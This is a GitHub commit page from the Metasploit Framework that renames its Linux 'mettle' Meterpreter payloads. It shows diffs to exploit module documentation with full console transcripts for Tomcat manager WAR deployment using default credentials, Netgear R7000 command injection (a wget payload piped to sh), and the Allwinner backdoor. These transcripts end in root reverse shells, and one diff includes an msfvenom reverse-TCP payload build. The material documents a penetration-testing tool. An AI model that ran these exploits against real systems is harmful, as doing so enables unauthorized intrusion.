Skip to content

Commit 7a6a124

Browse files
committed
Land rapid7#8279, POSIX Meterpreter replaced by Mettle
2 parents 855aa3f + 480a0b4 commit 7a6a124

File tree

63 files changed

+1621
-661
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

63 files changed

+1621
-661
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ PATH
4646
metasploit-model
4747
metasploit-payloads (= 1.2.24)
4848
metasploit_data_models
49-
metasploit_payloads-mettle (= 0.1.8)
49+
metasploit_payloads-mettle (= 0.1.9)
5050
msgpack
5151
nessus_rest
5252
net-ssh
@@ -233,7 +233,7 @@ GEM
233233
postgres_ext
234234
railties (~> 4.2.6)
235235
recog (~> 2.0)
236-
metasploit_payloads-mettle (0.1.8)
236+
metasploit_payloads-mettle (0.1.9)
237237
mime-types (3.1)
238238
mime-types-data (~> 3.2015)
239239
mime-types-data (3.2016.0521)

documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ that through command injection to gain Meterpreter root access.
3838

3939
With an attacker node that resides within the ISP network, do:
4040

41-
- Set `payload` to `linux/mipsbe/mettle_reverse_tcp`
41+
- Set `payload` to `linux/mipsbe/meterpreter_reverse_tcp`
4242

4343
- Set `RHOST` to the target router's IP
4444

@@ -73,7 +73,7 @@ module's own HTTP server and host it externally. To do so, first generate
7373
the payload ELF executable using `msfvenom`:
7474

7575
```
76-
$ msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/mettle/reverse_tcp --out payload.elf LHOST='41.34.32.121' LPORT=4444
76+
$ msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/meterpreter/reverse_tcp --out payload.elf LHOST='41.34.32.121' LPORT=4444
7777
7878
No encoder or badchars specified, outputting raw payload
7979
Payload size: 212 bytes

documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -17,34 +17,34 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po
1717
## Options
1818

1919
**PAYLOAD**
20-
21-
The valid payloads are `mettle` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh`
20+
21+
The valid payloads are `meterpreter` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh`
2222

2323
## Scenarios
2424

2525
Sample output of a successful session:
26-
26+
2727
```
2828
msf exploit(netgear_r7000_cgibin_exec) > run
2929
30-
[*] Started reverse TCP handler on 127.0.0.1:4444
30+
[*] Started reverse TCP handler on 127.0.0.1:4444
3131
[*] Router is a NETGEAR router (R7000)
3232
[+] Router may be vulnerable (NETGEAR R7000)
3333
[*] Using URL: http://0.0.0.0:8080/
3434
[*] Local IP: http://[redacted]:8080/
3535
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54168) at 2017-03-10 15:56:21 -0600
3636
[*] Server stopped.
3737
38-
meterpreter > getuid
38+
meterpreter > getuid
3939
Server username: uid=0, gid=0, euid=0, egid=0
40-
meterpreter > sysinfo
40+
meterpreter > sysinfo
4141
Computer : 192.168.1.4
4242
OS : (Linux 2.6.36.4brcmarm+)
4343
Architecture : armv7l
4444
Meterpreter : armle/linux
45-
meterpreter >
45+
meterpreter >
4646
```
47-
47+
4848
As you can see, the `uid` is 0, meaning you have root access.
49-
50-
49+
50+

documentation/modules/exploit/multi/http/tomcat_mgr_deploy.md

Lines changed: 34 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ For this exploitation, it was changed to simply `manager`.
3232
3. Exploit:
3333
3434
```
35-
msf > use exploit/multi/http/tomcat_mgr_deploy
35+
msf > use exploit/multi/http/tomcat_mgr_deploy
3636
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108
3737
rhost => 192.168.2.108
3838
msf exploit(tomcat_mgr_deploy) > set verbose true
@@ -43,7 +43,7 @@ For this exploitation, it was changed to simply `manager`.
4343
HttpUsername => tomcat
4444
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
4545
lhost => 192.168.2.117
46-
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
46+
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
4747
payload => java/meterpreter/reverse_tcp
4848
msf exploit(tomcat_mgr_deploy) > set target 1
4949
target => 1
@@ -54,21 +54,21 @@ For this exploitation, it was changed to simply `manager`.
5454
msf exploit(tomcat_mgr_deploy) > check
5555
[*] 192.168.2.108:8086 The target appears to be vulnerable.
5656
msf exploit(tomcat_mgr_deploy) > exploit
57-
58-
[*] Started reverse TCP handler on 192.168.2.117:4444
57+
58+
[*] Started reverse TCP handler on 192.168.2.117:4444
5959
[*] Using manually select target "Java Universal"
6060
[*] Uploading 6071 bytes as scEYoK0.war ...
6161
[!] No active DB -- Credential data will not be saved!
6262
[*] Executing /scEYoK0/jgj6tWcImjhc7rH2F4TDjCpXG.jsp...
6363
[*] Undeploying scEYoK0 ...
6464
[*] Sending stage (49409 bytes) to 192.168.2.108
6565
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.108:1663) at 2017-01-14 14:30:52 -0500
66-
66+
6767
meterpreter > sysinfo
6868
Computer : winxp
6969
OS : Windows XP 5.1 (x86)
7070
Meterpreter : java/windows
71-
71+
7272
```
7373
7474
### Tomcat 7 (7.0.73)
@@ -96,7 +96,7 @@ Of note, the user was given `manager-gui` permissions by default.
9696
3. Exploitation:
9797
9898
```
99-
msf > use exploit/multi/http/tomcat_mgr_deploy
99+
msf > use exploit/multi/http/tomcat_mgr_deploy
100100
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108
101101
rhost => 192.168.2.108
102102
msf exploit(tomcat_mgr_deploy) > set path /manager/text
@@ -111,23 +111,23 @@ Of note, the user was given `manager-gui` permissions by default.
111111
lhost => 192.168.2.117
112112
msf exploit(tomcat_mgr_deploy) > set rport 8087
113113
rport => 8087
114-
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
114+
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
115115
payload => java/meterpreter/reverse_tcp
116116
msf exploit(tomcat_mgr_deploy) > set target 1
117117
target => 1
118118
msf exploit(tomcat_mgr_deploy) > check
119119
[*] 192.168.2.108:8087 The target appears to be vulnerable.
120120
msf exploit(tomcat_mgr_deploy) > exploit
121-
122-
[*] Started reverse TCP handler on 192.168.2.117:4444
121+
122+
[*] Started reverse TCP handler on 192.168.2.117:4444
123123
[*] Using manually select target "Java Universal"
124124
[*] Uploading 6086 bytes as Cl6t6gurtwIO59zV3Lt6.war ...
125125
[!] No active DB -- Credential data will not be saved!
126126
[*] Executing /Cl6t6gurtwIO59zV3Lt6/qTIP.jsp...
127127
[*] Undeploying Cl6t6gurtwIO59zV3Lt6 ...
128128
[*] Sending stage (49409 bytes) to 192.168.2.108
129129
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:1656) at 2017-01-14 14:27:21 -0500
130-
130+
131131
meterpreter > sysinfo
132132
Computer : winxp
133133
OS : Windows XP 5.1 (x86)
@@ -159,12 +159,12 @@ Of note, the user was given `manager-gui` permissions by default.
159159
3. Exploitation:
160160
161161
```
162-
msf > use exploit/multi/http/tomcat_mgr_deploy
162+
msf > use exploit/multi/http/tomcat_mgr_deploy
163163
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108
164164
rhost => 192.168.2.108
165165
msf exploit(tomcat_mgr_deploy) > set rport 8088
166166
rport => 8088
167-
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
167+
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
168168
payload => java/meterpreter/reverse_tcp
169169
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
170170
lhost => 192.168.2.117
@@ -178,15 +178,15 @@ Of note, the user was given `manager-gui` permissions by default.
178178
msf exploit(tomcat_mgr_deploy) > set path /manager/text
179179
path => /manager/text
180180
msf exploit(tomcat_mgr_deploy) > exploit
181-
182-
[*] Started reverse TCP handler on 192.168.2.117:4444
181+
182+
[*] Started reverse TCP handler on 192.168.2.117:4444
183183
[*] Using manually select target "Java Universal"
184184
[*] Uploading 6085 bytes as c6TYmkd8YAe8LqKQhSCr.war ...
185185
[*] Executing /c6TYmkd8YAe8LqKQhSCr/PtW1uMsYCIFP1gs16PUiwE7oc.jsp...
186186
[*] Undeploying c6TYmkd8YAe8LqKQhSCr ...
187187
[*] Sending stage (49409 bytes) to 192.168.2.108
188188
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:1196) at 2017-01-14 10:24:52 -0500
189-
189+
190190
meterpreter > sysinfo
191191
Computer : winxp
192192
OS : Windows XP 5.1 (x86)
@@ -215,7 +215,7 @@ Of note, the user was given `manager-gui` permissions by default.
215215
3. Exploit:
216216
217217
```
218-
msf > use exploit/multi/http/tomcat_mgr_deploy
218+
msf > use exploit/multi/http/tomcat_mgr_deploy
219219
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.156
220220
rhost => 192.168.2.156
221221
msf exploit(tomcat_mgr_deploy) > set rport 8080
@@ -226,15 +226,15 @@ Of note, the user was given `manager-gui` permissions by default.
226226
HttpUsername => tomcat
227227
msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
228228
HttpPassword => tomcat
229-
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/mettle/reverse_tcp
230-
payload => linux/x86/mettle/reverse_tcp
229+
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/meterpreter/reverse_tcp
230+
payload => linux/x86/meterpreter/reverse_tcp
231231
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
232232
lhost => 192.168.2.117
233233
msf exploit(tomcat_mgr_deploy) > set target 3
234234
target => 3
235235
msf exploit(tomcat_mgr_deploy) > exploit
236-
237-
[*] Started reverse TCP handler on 192.168.2.117:4444
236+
237+
[*] Started reverse TCP handler on 192.168.2.117:4444
238238
[*] Using manually select target "Linux x86"
239239
[*] Uploading 1545 bytes as 9bj4IYa66cSpdK.war ...
240240
[!] No active DB -- Credential data will not be saved!
@@ -243,7 +243,7 @@ Of note, the user was given `manager-gui` permissions by default.
243243
[*] Sending stage (335800 bytes) to 192.168.2.156
244244
[*] Undeploying 9bj4IYa66cSpdK ...
245245
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:40020) at 2017-01-11 21:18:31 -0500
246-
246+
247247
meterpreter > sysinfo
248248
Computer : Ubuntu14.04
249249
OS : Ubuntu 14.04 (Linux 4.2.0-27-generic)
@@ -273,15 +273,15 @@ Of note, as of Tomcat 7, the permission role `manager` has been divided into sev
273273
3. Exploit:
274274
275275
```
276-
msf > use exploit/multi/http/tomcat_mgr_deploy
276+
msf > use exploit/multi/http/tomcat_mgr_deploy
277277
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.118
278278
rhost => 192.168.2.118
279279
msf exploit(tomcat_mgr_deploy) > set rport 8087
280280
rport => 8087
281281
msf exploit(tomcat_mgr_deploy) > set target 3
282282
target => 3
283-
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/mettle/reverse_tcp
284-
payload => linux/x86/mettle/reverse_tcp
283+
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/meterpreter/reverse_tcp
284+
payload => linux/x86/meterpreter/reverse_tcp
285285
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
286286
lhost => 192.168.2.117
287287
msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
@@ -294,8 +294,8 @@ Of note, as of Tomcat 7, the permission role `manager` has been divided into sev
294294
msf exploit(tomcat_mgr_deploy) > set path /manager/text
295295
path => /manager/text
296296
msf exploit(tomcat_mgr_deploy) > exploit
297-
298-
[*] Started reverse TCP handler on 192.168.2.117:4444
297+
298+
[*] Started reverse TCP handler on 192.168.2.117:4444
299299
[*] Using manually select target "Linux x86"
300300
[*] Uploading 1579 bytes as 9QymzSGGU0H4e.war ...
301301
[!] No active DB -- Credential data will not be saved!
@@ -304,7 +304,7 @@ Of note, as of Tomcat 7, the permission role `manager` has been divided into sev
304304
[*] Transmitting intermediate stager...(106 bytes)
305305
[*] Sending stage (335800 bytes) to 192.168.2.118
306306
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:34294) at 2017-01-08 20:35:24 -0500
307-
307+
308308
meterpreter > sysinfo
309309
Computer : 192.168.2.118
310310
OS : Ubuntu 16.04 (Linux 4.4.0-21-generic)
@@ -335,15 +335,15 @@ Of note, as of 7, the permission role 'manager' has been divided into several su
335335
3. Exploit:
336336
337337
```
338-
msf > use exploit/multi/http/tomcat_mgr_deploy
338+
msf > use exploit/multi/http/tomcat_mgr_deploy
339339
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.118
340340
rhost => 192.168.2.118
341341
msf exploit(tomcat_mgr_deploy) > set rport 8088
342342
rport => 8088
343343
msf exploit(tomcat_mgr_deploy) > set target 3
344344
target => 3
345-
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/mettle/reverse_tcp
346-
payload => linux/x86/mettle/reverse_tcp
345+
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/meterpreter/reverse_tcp
346+
payload => linux/x86/meterpreter/reverse_tcp
347347
msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117
348348
lhost => 192.168.2.117
349349
msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
@@ -355,8 +355,8 @@ Of note, as of 7, the permission role 'manager' has been divided into several su
355355
msf exploit(tomcat_mgr_deploy) > set path /manager/text
356356
path => /manager/text
357357
msf exploit(tomcat_mgr_deploy) > exploit
358-
359-
[*] Started reverse TCP handler on 192.168.2.117:4444
358+
359+
[*] Started reverse TCP handler on 192.168.2.117:4444
360360
[*] Using manually select target "Linux x86"
361361
[*] Uploading 1560 bytes as 9s0fTUyPa2HJCDnod2wEQJ.war ...
362362
[!] No active DB -- Credential data will not be saved!
@@ -365,7 +365,7 @@ Of note, as of 7, the permission role 'manager' has been divided into several su
365365
[*] Transmitting intermediate stager...(106 bytes)
366366
[*] Sending stage (335800 bytes) to 192.168.2.118
367367
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:33802) at 2017-01-14 11:06:13 -0500
368-
368+
369369
meterpreter > sysinfo
370370
Computer : 192.168.2.118
371371
OS : Ubuntu 16.04 (Linux 4.4.0-59-generic)

documentation/modules/exploit/multi/local/allwinner_backdoor.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,8 @@ msf exploit(allwinner_backdoor) > set verbose true
3838
verbose => true
3939
msf exploit(allwinner_backdoor) > set session 1
4040
session => 1
41-
msf exploit(allwinner_backdoor) > set payload linux/armle/mettle/reverse_tcp
42-
payload => linux/armle/mettle/reverse_tcp
41+
msf exploit(allwinner_backdoor) > set payload linux/armle/meterpreter/reverse_tcp
42+
payload => linux/armle/meterpreter/reverse_tcp
4343
msf exploit(allwinner_backdoor) > set lhost 192.168.2.117
4444
lhost => 192.168.2.117
4545
msf exploit(allwinner_backdoor) > check
@@ -50,7 +50,7 @@ msf exploit(allwinner_backdoor) > exploit
5050
## Successful exploitation:
5151

5252
```
53-
[*] Started reverse TCP handler on 192.168.2.117:4444
53+
[*] Started reverse TCP handler on 192.168.2.117:4444
5454
[*] Transmitting intermediate stager...(136 bytes)
5555
[*] Sending stage (374540 bytes) to 192.168.2.248
5656
[+] Backdoor Found, writing payload to /tmp/odzVx.elf
@@ -68,4 +68,4 @@ Computer : 192.168.2.248
6868
OS : Ubuntu 14.04 (Linux 3.4.39)
6969
Architecture : armv7l
7070
Meterpreter : armle/linux
71-
```
71+
```

lib/msf/base/sessions/meterpreter_x64_mettle_linux.rb renamed to lib/msf/base/sessions/meterpreter_x64_linux.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ module Sessions
1010
# This class creates a platform-specific meterpreter session type
1111
#
1212
###
13-
class Meterpreter_x64_Mettle_Linux < Msf::Sessions::Meterpreter
13+
class Meterpreter_x64_Linux < Msf::Sessions::Meterpreter
1414
def supports_ssl?
1515
false
1616
end

lib/msf/base/sessions/meterpreter_x86_linux.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,12 @@ module Sessions
1111
#
1212
###
1313
class Meterpreter_x86_Linux < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
1420
def initialize(rstream, opts={})
1521
super
1622
self.base_platform = 'linux'

lib/msf/base/sessions/meterpreter_x86_mettle_linux.rb

Lines changed: 0 additions & 29 deletions
This file was deleted.

0 commit comments

Comments
 (0)